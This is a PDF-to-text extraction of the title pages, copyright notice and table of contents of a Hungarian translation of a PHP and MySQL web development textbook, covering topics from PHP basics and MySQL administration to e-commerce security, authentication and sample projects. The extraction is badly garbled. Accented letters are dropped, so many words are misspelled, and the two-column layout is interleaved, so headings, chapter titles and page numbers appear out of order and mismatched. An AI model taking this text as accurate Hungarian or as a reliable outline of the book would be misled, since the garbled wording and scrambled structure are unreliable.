Download as pdf or txt
Download as pdf or txt
You are on page 1of 650

PH P s MySQL

webfejlesztknek
Hogyan ptsnk webru hzat?

Lu ke Weiling
Laura Thomsan

PHP s MySQL webfejlesztknek - Hogyan ptsnk webcuhzat?


2010 Perfact-Pro Kft.
Minden jog fenntartva!

ISBN 978-963-9929-13-5

A knyv eredeti cme: PHP and MySQL Web Development, 4th Edition
A magyar kiadsrt felels a Perfact-Pro Kft.
Authorized translation from the English Language edition, entided PHP and MySQL Web Development, 4th Edition
0672329166, by W ELLING, LUKE; T HOMSON, LAURA, published by Pearson Education, Inc. publishing as Addison
Wesley Professional, Copyright 2009 Addison-Wesley.
Ali rights reserverd. No part of this book may be reproduced or transmitted in any form or by any means, electronic or
mechanical, indudig photocopying, recording or by any information starage retrieval system, without pertnission from Pearson
Education, Inc. HUNGARIAN language edition published by Perfact-Pro Kft., Copyright 2010 Perfact-Pro Kft.

Brmilyen msols, sokszorosts, illetve adatfeldolgoz rendszerben trtn trols a kiad elzetes rsbeli hozzjrulsa
nlkl tilos. Az itt kzlt informcik kizrlag az olvas szemlyes hasznlatra kszltek. Jelen m felhasznlsa ms kny
vekben, kereskedelmi szoftverekben, adatbzisokban csak a kiad elzetes rsbeli hozzjrulsval lehetsges.
A szerz s a kiad a tle elvrhat legnagyobb gondossggal jrt el a knyv s a prograrnek ksztse sorn. A knyvben, illet
ve a programokban tallhat esetleges hibkrt, hasznlatukbl ered esetleges krokrt sem a szerz, sem a kiad nem vllal
semminem felelssget.

Fordtotta: Lnrt Szabolcs


Szakmailag lektorlta: Kiss Klmn
Nyelvileg lektorlta: Ksa Gyrgy
Trdelte: Fontol Stdi

Felels kiad a Perfact-Pro Kft. gyvezet igazgatja


l101 Budapest, Pongrc t 9/b.
Tel: 260-0990
Fax: 431-0028
info@perfact.hu
.perfactkiado.hu

www

Tarralern

Tartalom

Bevezets

Mirt rdemes elolvasni a knyvet?

Vltoz vltozk

21

llandk deklarlsa s hasznlata

21

Mit tanulhatunk a knyvbl?

Vltozk hatkre

22

Mi a PHP?

Mveleti jelek hasznlata

22

Mi a MySQL?

Aritmetikai mveleti jelek

23

Mirt hasznljunk PHP-t s MySQL-t?

Karakterlncokon alkalmazhat mveleti jelek

23

A PHP legfbb erssgei

rtkad mveleti jelek

23

Melyek a PHP 5 jdonsgai?

sszehasonlt mveleti jelek

25

A PHP 5.3 fbb jellemzi

Logikai mveleti jelek

26

A MySQL legfbb erssgei

Bitmveleti jelek

26

Tmogats elrhetsge

Egyb mveleti jelek

27

Melyek a MySQL 5 jdonsgai?

Az rlap vgsszegnek kiszmtsa

28

Hogyan pl fel a knyv?

Mveletek elsbbsgi sorrendje s

Vgezetl

I. rsz
A PHP hasznlata

l. fejezet

a csoportosthatsg

29

Vltozkhoz kapcsold fggvnyek

30

Vltozk tpusnak ellenrzse s belltsa

30

Vltozk llapotnak ellenrzse

31

Vltozk tpuskonverzija

31

Dntshozatal feltteles utastsokkal

31

PHP gyorstalpal

ll

Kdblokkok

32

Kezds eltt: a PHP elrse

ll

A klnbz feltteles utastsok sszehasonltsa

34

Mintaalkalmazs ltrehozsa: Bob autalkatrszek

12

Mveletek ismtlse itercival

35

Rendelsi rlap ltrehozsa

12

Kiugrs vezrlsi szerkezetbl vagy kdbl

37

Az rlap feldolgozsa

13

Alternatv vezrlsi szerkezetek alkalmazsa

38

PHP begyazsa HTML-be

13

A dec l a re szerkezet hasznlata

38

PHP cmkk

14

Hogyan tovbb?

38

PHP utastsok

15

Fehrkz karakterek

15

2. fejezet

Megjegyzsek

15

Adatok trolsa s visszakeresse

39

Dinamikus tartalom hozzadsa

16

Adatok elmentse ksbbi hasznlat cljbl

39

Fggvnyhvsok

16

Bob megrendelseinek el trolsa s visszakeresse

39

A da te ( ) fggvny hasznlata

17

Fjlok feldolgozsa

40

Az rlapvltozk elrse

17

Fjl megnyitsa

40

Rvid, kzepes s hossz vltozk

17

A megfelel megnyitsi md kivlasztsa

40

Karakterlncok sszefzse

19

Eijl megnyitsa az fopen() fggvnnyel

41

Vltozk s literlok

19

Fjlok megnyitsa FTP-n vagy HTTP-n keresztl

42

Az azonostk

20

Fjlmegnyitsi problmk kezelse

43

Vltoztpusok

20

Fjlba rs

44

A PHP adattpusai

20

Az fwri te ( ) fggvny paramcerei

44

Tpuserssg foka

20

Fjlformtumok

44

Tpusknyszerts

21

Fjl bezrsa

45

III

IV

Tartalom

Olvass fjlbl

47

Fjl megnyitsa olvassra: fopen ()

48

Ahol meg kell llnunk: feof()

48

Tmbn belli navigls: each(),current (),reset (),


end(),next (),pos

( ) s p rev() fggvny

69

Fggvny alkalmazsa tmb minden egyes elemre: arra y_

Beolvass soronknt: fgets() , fgetss() s fgetcsv ()

69

walk()

48

Tmbelemek szmllsa: count(),sizeof () s array_


()fggvny

70

49

Tmbk talaktsa skalris vltozkk: extract ()

70

Karakter beolvassa: fgetc ()

49

Tovbbi olvasnival

71

Tetszleges mennyisg adat beolvassa: freact()

50

Hogyan tovbb?

71

Egyb hasznos fjlfggvnyek

50

A teljes fjl beolvassa: readfile(), fpassthru ()


s file()

count_values

Fjl megltnek ellenrzse: file_exists ()

50

4.

Fjlmret meghatrozsa: fil esi z e()

50

Karakterlncok kezelse s regulris kifejezsek

Fjl trlse: unlink()

50

Mintaalkalmazs ltrehozsa: intelligens zenetkld

50

Karakterlncok formzsa

Fjlok zrolsa

51

Karakterlncok megvgsa: tr im(),ltrim () s rtrim()

Egy jobb mdszer: adatbzis-kezel rendszerek

52

Fjlon belli navigls: rewind(), fseek () s ftell ( )

fejezet

rlap

73
75

fggvny

75

Egyszer fjlok hasznlata esetn jelentkez problmk 52

Karakterlncok formzsa megjelents cljbl

Hogyan oldjk meg a relcis adatbzis-kezel

Trolni kvnt karakterlncok formzsa:

rendszerek ezeket a problmkat?

52

Tovbbi olvasnival

53

Hogyan tovbb?

53

73

addslashes ()

s stripslashes () fggvny

75

78

Karakterlncok egyestse s felosztsa sztringkezel


fggvnyekkel

79

Az explode(),implode () s j oin ()fggvny


3.

fejezet

hasznlata

79

Tmbk hasznlata

55

Az strtok ()fggvny hasznlata

79

Mit neveznk tmbnek?

55

A substr ( ) fggvny hasznlata

80

Numerikusan indexelt tmbk

56

Karakterlncok sszehasonltsa

80

Numerikusan indexelt tmbk ltrehozsa

56

Karakterlncok sorba rendezse: strcmp(),

Tmb tartalmnak elrse

56

Tmbelemek elrse ciklusokkal

57

Nem numerikusan indexelt tmbk

57

Tmb inicializlsa

57

Tmbelemek elrse

57

Ciklusok hasznlata

58

Tmbmveleti jelek

59

strchr (),strrchr

Tbbdimenzis tmbk

59

stristr

Tmbk rendezse

62

A sort() fggvny hasznlata

62

Tmbk rendezseasort () s ksort ()

strcasecmp ( )

s strnatcmp() fggvny

Karakterlnc hossznak megllaptsa

az

80

strlen ()

fggvnnyel

81

Rszsztringek keresse s cserje sztringkezel


fggvnyekkel

81

Karakterlncok keresse karakterlncban: strstr(),


( ) s

() fggvny

82

Rszszering pozcijnak megkeresse: strpos () s


strrpos()

82

Rszsztringek cserje: str_replace ( ) s substr_

fggvnyekkel

62

Fordtott rendezs

63

Ismerkeds a regulris kifejezsekkel

83

Tbbdimenzis tmbk rendezse

63

Az alapok

84

Felhasznl ltal meghatrozott rendezs

63

Karakterkszletek s -osztlyok

84

Fordtott sorrendbe trtn felhasznli rendezs

64

Ismtlds

85

Tmbk trendezse

64

Rszkifejezsek

85

A shuffle ()fggvny hasznlata

65

Szmolt rszkifejezsek

85

Az array_reverse ()fggvny hasznlata

66

Karakterlnc elejhez vagy vghez rgzts

85

Tmbk feltltse fjlokbl

66

gaztats

86

Tovbbi tmbkezelsi eljrsok

68

Literlis klnleges karakterekhez illeszts

86

replace() fggvny

83

Tartalom

A klnleges karakterek ttekintse

86

Osztlypldnyok ltrehozsa

110

Az eddig tanultak alkalmazsa az intelligens rlapban

87

Osztlyattribtumok hasznlata

110

Rszsztringek keresse regulris kifejezsekkel

87

Hozzfrs-szablyozs private s public

Rszsztringek cserje regulris kifejezsekkel

88

Karakterlncok sztbontsa regulris kifejezsekkel

88

Osztlymetdusok hvsa

112

Tovbbi olvasnival

88

rklds megvalstsa PHP-ben

113

Hogyan tovbb?

88

Lthatsg szablyozsa rklds esetn a pr i vate

kulcsszval

s a proteeted kulcsszval
Fellrs

5. fejezet

112

113
114

rklds s fellrs megakadlyozsa a final

Kd tbbszri felhasznlsa s fggvnyrs

89

Kd tbbszri felhasznlsnak elnyei

89

Kltsg

89

A tbbszrs rklds

Megbzhatsg

89

Interfszek megvalstsa

116

Egysgessg

90

Osztlytervezs

117

kulcsszval

115
116

A require ( ) s az include () utasts hasznlata

90

Az osztly kdjnak megrsa

117

Fjlnvkitetjesztsek s a require {) utasts

90

Halad objektumorientlt funkcik PHP-ben

124

A require {) urasrs hasznlata weboldalsablonokra

91

Osztlyon belli kanstansok hasznlata

124

Statikus metdusok ltrehozsa

124

95

Osztlytpus ellenrzse s tpusjelzs

125

Fggvnyek hasznlata PHP-ben

96

Ksi statikus ktsek

125

Fggvnyhvs

96

Objektumok klnozsa

126

Nem ltez fggvny hvsa

97

Elvont osztlyok hasznlata

126

Az auto_prepend_file s

az

auto_append_file

bellts hasznlata

Metdusok tbbszrs definilsa a -call()

Kis- s nagybetle megklnbztetse


fggvnynevekben

97

metdussal

126

Sajt fggvnyek definilsa

97

Az_autoleact {) fggvny hasznlata

127

Fggvnyek alapszerkezete

98

Itertorak s iterci ltrehozsa

127

Fggvnyeink elnevezse

98

Osztlyaink talakitsa karakterlncokk

129

Paramterek hasznlata

99

A Reflection API hasznlata

129

Hogyan tovbb?

130

A hatkr fogalma

100

Cm s rtk szerinti paramtertads

102

A return kulcssz hasznlata

103

7. fejezet

rtkvisszaads fggvnyekbl

103

Hiba- s kivtelkezels

131

Rekurzi megvalstsa

104

Kivtelkezelsi fogalmak

131

Nvterek

105

Az Exception osztly

132

Tovbbi olvasnival

105

Felhasznl ltal meghatrozott kivtelek

133

Hogyan tovbb?

106

Kivtelek Bob autalkatrsz-rtkest alkalmazsban 135


Kivtelek s a PHP tovbbi hibakezel
mechanizmusai

6. fejezet

Objektumorientlt PHP

107

Ismerkeds az objektumorientlt programozs


fogalmaival

138

Tovbbi olvasnival

138

Hogyan tovbb?

138

107

Osztlyok s objektumok

107

II. rsz

Tbbalaksg

108

A MySQL hasznlata

rklds

108

139

8. fejezet

Osztlyok, attribtumok s metdusok ltrehozsa


109

Webes adatbzis megtervezse

141

Osztlyszerkezet

109

Relcis adatbzissal kapcsolatos fogalmak

141

Konstruktorok

109

Tblk

141

Destruktorok

110

Oszlopok

142

PHP-ben

VI

Tartalom

Sorok

142

10. fejezet

rtkek

142

Munkavgzs MySQL adatbzisunkkal

165

Kulcsok

142

Mi az SQL?

165

Smk

143

Adatok beszrsa adatbzisba

165

Kapcsolatok

143

Adatok visszakeresse adatbzisbl

167

Webes adatbzis megtervezse

144

Adott feltteleknek megfelel adatok visszakeresse

168

Adatok visszakeresse tbb tblzatbl

169

144

Adatok visszakeresse meghatrozott sorrendben

173

Redundns adatok trolsnak elkerlse

144

Adatok csoportostsa s sszestse

173

Atomi oszloprtkek hasznlata

145

V isszakapni kvnt sorok kivlasztsa

175

Vlasszunk rtelmes kulcsokat!

146

Egymsba gyazott lekrdezsek hasznlata

175

Adatbzisban lv rekordok frisstse

177

Gondoljuk vgig a modellezett, vals vilgbeli


objektumokat!

Gondoljuk vgig, rnit szeretnnk az adatbzisbl


megtudnil

146

Kerljk a sok res tulajdonsgot tartalmaz

Tblk megvltoztatsa ltrehozsuk utn

177

Rekordok trlse adatbzisbl

179

146

Tblk trlse

179

Tblatpusok sszefoglalsa

147

Teljes adatbzis trlse

179

Webes adatbzis architektrja

147

Tovbbi olvasnival

179

Tovbbi olvasnival

148

Hogyan tovbb?

179

Hogyan tovbb?

148

kialaktst!

ll. fejezet
9. fejezet

MySQL adatbzis elrse a webrl PHP-vel

181

Webes adatbzis ltrehozsa

149

Hogyan mkdnek a webes adatbzis-architektrk?

181

A MySQL monitor hasznlata

150

Adatbzis lekrdezse a webrl

184

Bejelentkezs MySQL-be

150

A felhasznltl rkez adatok ellenrzse s szrse

184

Adatbzisok s felhasznJk ltrehozsa

151

Kapcsolat ltrehozsa

184

Felhasznlk s jogosultsgok belltsa

151

A hasznlni kvnt adatbzis kivlasztsa

185

A MySQL jogosuJtsgi rendszernek bemutatsa

151

Az adatbzis lekrdezse

185

A legkisebb jogosultsg elve

151

A lekrdezs eredmnyeinek visszakeresse

186

Felhasznl belltsa: a GRANT parancs

151

Kapcsolat bontsa az adatbzissal

187

Jogosultsgok tpusai s szintjei

152

j informci felvitele az adatbzisba

187

A REVOKE parancs

154

Elfordtott utastsok hasznlata

189

Pldk a GRANT s a REVOKE hasznlatra

154

Egyb PHP adatbzis-illesztsek hasznlata

190

Webes felhasznl belltsa

155

Altalnos adatbzis-illeszts hasznlata: PEAR MDB2 190

A megfelel adatbzis hasznlata

155

Tovbbi olvasnival

192

Adatbzistblk ltrehozsa

156

Hogyan tovbb?

192

A tbbi kulcssz jelentsnek megismerse

157

Az oszloptpusok

157

Az adatbzis megtekintse a SHOW s a DESCRIBE


paranccsal

159

12. fejezet

Halad MySQL-adminisztrci

193

A jogosultsgi rendszer alaposabb megismerse

193

Indexek ltrehozsa

159

A user tbla

194

MySQL azonostk

160

A db s a host tbla

195

Oszlopok adattpusainak kivlasztsa

160

A tables_prv, a colurnns priv s a

Numerikus tpusok

160

Dtum s id tpusok

162

Karakterlnc-tpusok

162

Tovbbi olvasnival

164

Hogyan tovbb?

164

procs_priv tbla

196

Hozzfrs-szablyozs: Hogyan hasznlja a MySQL


a jogosuJtsgi tblkat?

197

Jogosultsgok frisstse: Mikor lpnek letbe


a vltoztatsok?

197

MySQL adatbzisunk biztonsgoss ttele

198

MySQL az opercis rendszer szemszgbl

198

Tartalom

Jelszavak

198

Felhasznli jogosultsgok

198

Szolgltatsok vagy digitlis termkek rtkestse

felvtele

Webes krdsek

199

Tbbletrtk hozzadsa termkekhez vagy

Tovbbi informcik begyjtse az adatbzisokrl

199

lnformciszerzs a SHOW utastssal

199

szolgltatsokhoz

223
226
226

Kltsgcskkents

227

lnformciszerzs oszlopokrl a DESCRIBE utastssal 201

Kockzatok s veszlyforrsok megismerse

227

A lekrdezsek mkdsnek megismerse az

Crackerek

227

201

A kvnt zleti eredmny elmaradsa

228

Adatbzisunk optimalizlsa

205

Szmtgpes hardverhibk

228

Optimlisra tervezs

205

Elektromos, kommunikcis vagy hlzati hibk

228

Jogosultsgok

205

Ers verseny

228

Tblaoptimalizls

205

Szaftverhibk

228

lndexek hasznlata

205

Vltoz szablyozsi krnyezet s adjogszablyok

229

Alaprtelmezett rtkek hasznlata

205

Rendszer-kapacitsbeli korltok

229

Tovbbi tippek

205

A megfelel stratgia kivlasztsa

229

Biztonsgi ments ksztse MySQL adatbzisunkrl

206

Kvetkez lpsek

229

MySQL adatbzisunk helyrelltsa

206

Replikci megvalstsa

206

15. fejezet

A master kiszolgl belltsa

207

Az e-kereskedelem biztonsgi krdsei

231

A kezdeti adattvitel megvalstsa

207

A birtokunkban lv informci fontossga

231

A slave kiszolgl vagy kiszolglk belltsa

208

Biztonsgi fenyegetsek

232

Tovbbi olvasnival

208

Bizalmas adataink kitettsge

232

Hogyan tovbb?

208

Adatveszts vagy -rongls

233

Adatmdosts

234

Denial of Service tmads

234

EXPLAIN utastssal

13. fejezet
Halad MySQL-programozs

209

Szaftverhibk

235

A LOAD DATA INFILE utasts

209

Le tagads

235

Trolmotorok

209

Hasznlhatsg, teljestmny, kltsg s biztonsg

236

Tranzakcik

210

Biztonsgi hzirend ltrehozsa

236

A tranzakcikkal kapcsolatos defincik megismerse 210


Tranzakcik hasznlata InnoDB tblkkal

210

A felhasznli hitelests alapelvei

237

A titkosts alapjai

238

Kls kulcsok

211

Privt kulcs titkosts

239

Trolt eljrsok

212

Nyilvnos kulcs titkosts

239

Alapplda

212

Digitlis alrsok

239

Helyi vltozk

214

Digitlis tanstvnyok

240

Kurzorok s vezrlsi szerkezetek

214

Biztonsgos webszerverek

240

Tovbbi olvasnival

217

Auditls s naplzs

241

Hogyan tovbb?

217

Tzfalak

242

Biztonsgi ments ksztse az adatokrl

242

Biztonsgi ments ksztse ltalnos fjlokrl

242

III. rsz
E-kereskedelem s biztonsg

219

MySQL adatbzisunk biztonsgi mentse s


helyrelltsa

14. fejezet
E-kereskedelmi honlap zemeltetse

221

Mi a clunk?

221

Az zleti weboldalak tpusai

221

Cges informci megjelentse online katalgusknt 221


Fontos informci kzzttelnek elmulasztsa
Termkekre vagy szolgltatsokra irnyul rendelsek

222

242

Fizikai biztonsg

242

Hogyan tovbb?

243

16. fejezet
Webes alkalmazsok biztonsga

245

Biztonsgkezelsi stratgik

245

Megfelel gondolkodsmd mr a tervezstl

245

VII

VIII

Tartalom

A biztonsg s a hasznlhatsg kztti egyensly


keresse

17. fejezet
245

Hitelests megvalstsa PHP-vel s MySQL-lel

265

Biztonsgi felgyelet

246

Ltogatk azonostsa

265

Alapvet megkzeltsnk

246

Hozzfrs-szablyozs megvalstsa

266

A rnk vr fenyegetsek azonostsa

246

Jelszavak trolsa

267

Bizalmas adatok elrse vagy mdostsa

246

Jelszavak titkostsa

269

Adatveszts vagy -rongls

247

Tbb oldal vdelme

270

Denial of Service tmads

247

Alapszint hitelests hasznlata

270

Rosszindulat kd befecskendezse

247

Alapszint hitelests PHP-ben

Feltrt szerver

248

Alapszint hitelests az Apache

271
.

htaccess fjljaival 272

Kikkel llunk szemben?

248

A mod_auth_mysql hitelests hasznlata

275

Crackerek

248

Amod_auth_mysql modul teleptse

275

Fertztt gpek tjkozatlan felhasznli

248

A mod_auth_mysql modul hasznlata

275

Elgedetlen alkalmazottak

248

Egyni hitelestsi folyamat ltrehozsa

276

Hardvertolvajok

248

Tovbbi olvasnival

276

Sajt magunk

248

Hogyan tovbb?

276

Kdunk biztonsgoss ttele

249

Felhasznl ltal bevitt rtkek szrse

249

18. fejezet

A kimenet rtkeinek szrse vdkarakterekkel

252

Biztonsgos tranzakcik vgrehajtsa PHP-vel s

Kdjaink szervezse

253

MySQL-lel

Mi kerl a kdunkba?

254

Biztonsgos tranzakcik megteremtse

277

A felhasznl gpe

278

254

Az internet

278

255

Sajt rendszernk

279

255

A Secure Sockets Layer (SSL) protokoll hasznlata

280

Webszervernk s a PHP biztonsgoss ttele

256

Felhasznli bevitel szrse

282

Tartsuk szaftvereinket naprakszen!

256

Biztonsgos trols megvalstsa

282

A php. ini fj l tartalma

257

Hitelkrtyaadatok trolsa

283

A webszerver konfigurlsa

258

T itkosts hasznlata PHP-ben

283

A GPG teleptse

283

258

A GPG tesztelse

285

Az adatbzisszerverek biztonsga

259

Tovbbi olvasnival

289

Felhasznlk s a jogosuJtsgi rendszer

259

Hogyan tovbb?

289

Adatklds a szerverre

260

Kapcsolds a szerverhez

260

IV. rsz

A kiszolgl futtatsa

260

Halad PHP-mdszerek

A hlzat vdelme

261

Tzfalak teleptse

261

19. fejezet

DMZ hasznlata

261

A fjlrendszer s a kiszolgl elrse

293

Felkszls a DoS s DDoS tmadsokra

262

Fjlfeltlts

293

Szmtgpnk s az opercis rendszer biztonsga

262

A fjlfeltlts HT ML kdja

294

Tartsuk naprakszen opercis rendszernket!

262

A fjlt kezel PHP kd megrsa

295

Csak azt futtassuk, amire valban szksg van!

262

A gyakori feltltsi problmk megelzse

298

Kiszolglnk fizikai biztonsga

263

Knyvtrfggvnyek hasznlata

298

Katasztrfa -elhrtsi terv

263

Olvass knyvtrakbl

298

Hogyan tovbb?

263

lnformciszerzs az aktulis knyvtrrl

301

A fjlrendszerrel kapcsolatos, megfontoland


szempontok
A kd stabilitsa s kdhibk
Vgrehajt opertor s az

ex ee

parancs

Webes alkalmazsok hasztolsa fizets szolgltats


ignybevtelvel

277

291

Knyvtrak ltrehozsa s trlse

301

A fjlrendszer elrse

302

Fjlinformcik gyjtse

302

Tartalom

Fjltulajdonsgok mdostsa

304

Rajzols vagy szveg rsa kpre

334

Fjlok ltrehozsa, trlse s thelyezse

304

Kimenet ksztse a ksz grafikrl

335

Programfuttat fggvnyek hasznlata

304

Erforrsok felszabadtsa

335

Krnyezeti vltozk elrse: a getenv () s


a putenv () fggvny

Automatikusan ltrehozott kpek hasznlata ms


306

oldalakon

336

Tovbbi olvasnival

306

Szveg s betk hasznlatval ltrehozott kpek

336

Hogyan tovbb?

306

A rajzvszon belltsa

338

A szveg hozzigaztsa a gombhoz

339

20. fejezet
Hlzati s protokollfggvnyek hasznlata

307

A szveg elhelyezse

341

A szveg gombra rsa

341

A hasznlhat protokollok ttekintse

307

Befejezs

341

E-mail kldse s olvassa

307

brk s grafikonadatok rajzolsa

342

Ms weboldalak tartalmnak felhasznlsa

308

Tovbbi kpkezel fggvnyek hasznlata

348

Hlzati keresfggvnyek hasznlata

310

Tovbbi olvasnival

348

Biztonsgi ments ksztse vagy fjl tkrzse

313

Hogyan tovbb?

348

23. fejezet

Biztonsgi ments ksztse vagy fjl tkrzse


FTP-vel

313

Fjlfeltlts

318

Munkamenet-vezrls PHP-ben

349

Idtllps elkerlse

318

Mi a munkamenet-vezrls?

349

Tovbbi FTP fggvnyek hasznlata

318

A munkamenet alapjai

349

Tovbbi olvasnival

319

Mi a sti?

349

Hogyan tovbb?

319

Stik bellitsa PHP-bl

350

Stik hasznlata munkamenetekkel

350

Munkamenet-azonost trolsa

350

21. fejezet
Dtum s id kezelse

321

Egyszer munkamenetek megvalstsa

351

Dtum s id megllaptsa PHP-bl

321

Munkamenet indtsa

351

A date ( ) fggvny hasznlata

321

Munkamenet- vltozk regisztrlsa

351

Unix-idblyegek kezelse

322

Munkamenet-vltozk hasznlata

351

A getdate () fggvny hasznlata

323

Vltozk trlse s a munkamenet megszntetse

351

Dtumok ellenrzse a checkdate ( ) fggvnnyel

324

Egyszer plda munkamenetre

352

Idblyegek formzsa

324

Munkamenet-vezrls konfigurlsa

353

Vlts PHP s MySQL dtumformtumok kztt

326

Hitelests munkamenet-vezrlssel

354

Szmols dtumokkal PHP-ben

327

Tovbbi olvasnival

359

Szmols dtumokkal MySQL-ben

328

Hogyan tovbb?

359

Mkroszekundumok hasznlata

329

Naptrfggvnyek hasznlata

329

24. fejezet

Tovbbi olvasnival

329

Tovbbi hasznos lehetsgek PHP-ben

361

Hogyan tovbb?

329

Karakterlncok kirtkelse az ev al () fggvnnyel

361

22. fejezet

Vgrehajts lelltsa: die (} s exit (}

361

Vltozk s objektumok szerializlsa

362

Kpek elllitsa

331

Informcigyjts a PHP-krnyezetrl

363

Kpi tmogats belltsa PHP-ben

331

Milyen bvitmnyek lettek betltve?

363

Kpformtumok

332

A kd tulajdonosnak azonostsa

363

JPEG

332

A kd utols mdostsi idpontjnak megllaptsa

363

PNG

332

A futtatsi krnyezet tmeneti mdostsa

364

WBMP

332

Forrskd szinkiemelse

364

GIF

332

PHP hasznlata parancssorban

365

Kpek ltrehozsa

333

Hogyan tovbb?

365

Rajzvszon ltrehozsa

333

IX

Tartalom

Az adatbzis ltrehozsa

394

A nyitoldal ltrehozsa

395

A felhasznli hitelests megvalstsa

396

Felhasznlk regisztrlsa

397

Bejelentkezs

401

Kijelentkezs

404

Jelszvltoztats

405

Elfelejtett jelsz visszalltsa

407

370

Knyvjelzk trolsa s visszakeresse

411

Kd tbbszri felhasznlsa

370

Knyvjelzk hozzadsa

411

Kezelhet kd rsa

371

Knyvjelzk megjelentse

413

Programozsi szablyok

371

Knyvjelzk trlse

414

Kdunk darabokra bontsa

373

Knyvjelzk ajnlsa

416

Egysges knyvtrstruktra hasznlata

373

A projekt tovbbfejlesztsnek lehetsges irnyai

418

Hogyan tovbb?

418

V. rsz
Gyakorlati PHP s MySQL projektek fejlesztse

367

25. fejezet
A PHP s a MySQL hasznlata nagyobb projektekben

369

A szaftverfejleszts gyakorlatainak alkalmazsa


webfejlesztsre

369

Webes alkalmazs projektjnek tervezse s


megvalstsa

Fggvnyek dokumentlsa s megosztsa fejleszti


csapaton bell

374

Verzikvets megvalstsa

374

A fejlesztkrnyezet kivlasztsa

375

Kosr funkci programozsa

419

Projektjeink dokumentlsa

375

A megolds alkotelemei

419

Prototpuskszts

375

Online katalgus ltrehozsa

419

A mkds s a tartalom sztvlasztsa

376

A felhasznJk ltal vsrls kzben megrendelt

Kdoptimalizls

376

Egyszer optimalizcis lpsek

376

Fizetsi rendszer megvalstsa

420

28. fejezet

termkek nyomon kvetse

419

Zend termkek hasznlata

377

Adminisztrcis fellet programozsa

420

Tesztels

377

A megolds ttekintse

420

Tovbbi olvasnival

378

Az adatbzis ltrehozsa

423

Hogyan tovbb?

378

Az online katalgus ltrehozsa

425

Kategrik listzsa

426

Adott kategria knyveinek listzsa

428

26. fejezet
Hibakeress

379

A knyv rszletes adatainak megjelentse

430

Programozsi hibk

379

A kosr funkci megvalstsa

431

Szintaktikai hibk

379

A kosar_megjelenitese.php kd hasznlata

431

Futsidej hibk

380

A kosr megjelentse

433

Logikai hibk

384

Termkek hozzadsa a kosrhoz

435

Hibakeress a vltozk tartalmnak kiratsval

385

A mdostott tartalm kosr mentse

437

Hibajelentsi szintek

387

A fejlcen lthat sszefoglal adatok megjelentse

437

A hibajelentsi belltsok mdostsa

388

A pnztrnl

438

Sajt hibk kivltsa

389

A fizets feldolgozsa

442

A hibakezels elegns mdja

389

Az adminisztrcis fellet megvalstsa

444

Hogyan tovbb?

390

A projekt tovbbfejlesztse

450

Meglv rendszer hasznlata

450

Hogyan tovbb?

450

27. fejezet
Felhasznli hitelests megvalstsa s szemlyre

29. fejezet

szabott tartalom megjelentse

391

A megolds alkotelemei

391

Webalap levelezszolgltats ltrehozsa

451

Felhasznli azonosts s szemlyre szabs

391

A megolds alkotelemei

451

A knyvjelzk trolsa

392

Levelezprotokollok: a POP3 s az !MAP

Knyvjelzk ajnlsa

392

A megolds ttekintse

392

sszehasonltsa
POP3 s !MAP tmogatsa PHP-ben

451
451

Tartalom

A megolds ttekintse

452

31. fejezet

Az adatbzis ltrehozsa

454

Webes frum fejlesztse

A kd architektrjnak vizsglata

455

Gondoljuk vgig a feladatot!

517

Be- s kijelentkezs

460

A megolds alkotelemei

517

Felhasznli fikok belltsa

462

A megolds ttekintse

518

j felhasznli fik ltrehozsa

463

Az adatbzis megtervezse

519

Meglv felhasznli fik mdostsa

464

A hozzszlsok fanzetnek megtekintse

521

Felhasznli fik trlse

464

Kibonts s sszecsuks

523

Levl olvassa

465

A hozzszlsok megjelentse

525

Postafik kivlasztsa

465

526

Postafik tartalmnak megtekintse

467

A hozzszlsok egyenknti megtekintse

530

Levlzenet olvassa

469

j hozzszls rsa

532

zenetfejlcek megjelentse

472

A projekt tovbbfejlesztse

538

zenet trlse

472

Meglv rendszer hasznlata

538

Levlklds

473

Hogyan tovbb?

538

cs

omopont osztly hasznlata

517

j zenet kldse

473

Vlaszklds vagy levl tovbbtsa

474

32. fejezet

A projekt tovbbfejlesztse

476

Perszonalzlt PDF dokumentumok elllitsa

539

Hogyan tovbb?

476

A projekt ttekintse

539

Dokumentumformtumok sszehasonltsa

539

A megolds alkotelemei

542

30. fejezet
Levelezlista-kezel alkalmazs fejlesztse

477

Vizsgztatrendszer

542

A megolds alkotelemei

477

A dokumentum-elllt szoftver

542

A megolds ttekintse

544

A levelezlistk s a feliratkozott felhasznJk


adatbzisnak ltrehozsa

478

A tesztkrdsek lekrdezse

545

Hrlevelek feltltse

478

A vlaszok rtkelse

546

Csatolt llomnyokat tartalmaz levelek kldse

478

RTF formtum oklevl ltrehozsa

548

A megolds ttekintse

478

PDF formtum oklevl ltrehozsa sablonbl

550

Az adatbzis ltrehozsa

480

PDF dokumentum elllitsa PDFlib fggvnyekkel

553

A kd architektrjnak meghatrozsa

482

"Hell, vilg!" kd PDFlib fggvnyekkel

553

A bejelentkezs megvalstsa

488

Az oklevl ellltsa PDFlib fggvnyekkel

556

j felhasznli fik ltrehozsa

488

Fejlcekkel kapcsolatos problmk kezelse

562

Bejelentkezs

490

A projekt tovbbfejlesztse

562

Felhasznli funkcik megvalstsa

492

Hogyan tovbb?

562

Levelezlistk megtekintse

493

Listainformcik megjelentse

496

33. fejezet

Levelezlistk archvumnak megtekintse

498

Kapcsolds az Amazon Web Services fellethez

Fel- s leiratkozs

499

A felhasznli fik belltsainak megvltoztatsa

500

Jelszavak megvltoztatsa

500

Kijelentkezs

502

Ismerkeds az XML-lel

564

Adminisztrtori funkcik megvalstsa

502

Web Services

566

j levelezlista ltrehozsa

503

A megolds alkotelemei

567

j hrlevl feltltse

504

Az Amazon Web Services fellet hasznlata

567

Egyszerre tbb fjl feltltsnek kezelse

506

XML rtelmezse: REST vlaszok

568

A hrlevl elnzetnek megtekintse

510

SOAP hasznlata PHP-vel

568

A hrlevl kikldse

511

Gyorsttrazs

568

A projekt tovbbfejlesztse

515

A megolds ttekintse

568

Hogyan tovbb?

515

Az alkalmazs magja

571

XML s SOAP segtsgvel

563

A projekt ttekintse: XML s a Web Services


hasznlata

563

XI

XII

Tartalom

Adott kategriban lv knyvek megjelemtse

576

AmazonResultSet objektum lekrse

578

Krs intzse s az eredmny visszakeresse REST


segtsgvel

585

Krs intzse s eredmny visszakeresse SOAP


segtsgvel

591

Ajax elemek hozzadsa a PHPbookmark


alkalmazshoz

609

Tovbbi informci

618

Bvebben a Document Object Modelrl (DOM)

618

JavaScript knyvtrak Ajax alkalmazsokhoz

618

Ajax-fejleszti weboldalak

619

A krsbl szrmaz adatok gyorsttrazsa

592

Vsrli kosr fejlesztse

594

A fggelk

Fizets az Amazonnl

597

A PHP s a MySQL teleptse

621

